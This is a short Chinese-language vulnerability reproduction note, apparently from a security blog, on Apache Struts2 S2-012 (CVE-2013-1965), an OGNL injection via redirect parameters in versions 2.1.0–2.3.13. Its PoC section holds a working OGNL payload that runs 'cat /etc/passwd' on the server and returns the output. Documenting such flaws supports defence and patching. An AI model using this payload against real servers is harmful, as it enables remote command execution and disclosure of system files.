009-(CVE-2013-1965)s2-012

# (CVE-2013-1965)s2-012

## 一、漏洞简介

> 如果在配置 Action 中 Result 时使用了重定向类型,并且还使用 ${param_name} 作为重定向变量,例如:

“`bash
/index.jsp?name=${name}
/index.jsp
/index.jsp

“`

这里 UserAction 中定义有一个 name 变量,当触发 redirect 类型返回时,Struts2 获取使用 ${name} 获取其值,在这个过程中会对 name 参数的值执行 OGNL 表达式解析,从而可以插入任意 OGNL 表达式导致命令执行。

## 二、漏洞影响

2.1.0 – 2.3.13

## 三、复现过程

### poc

![图片.png](/static/lingzu/images/d2495aaf36c3499abb7179289dcf33be.png)

“`java
%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{“cat”, “/etc/passwd”})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get(“com.opensymphony.xwork2.dispatcher.HttpServletResponse”),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}

“`

© 版权声明
THE END
喜欢就支持一下吧
点赞0赞赏 分享
评论 抢沙发

请登录后发表评论

    请登录后查看评论内容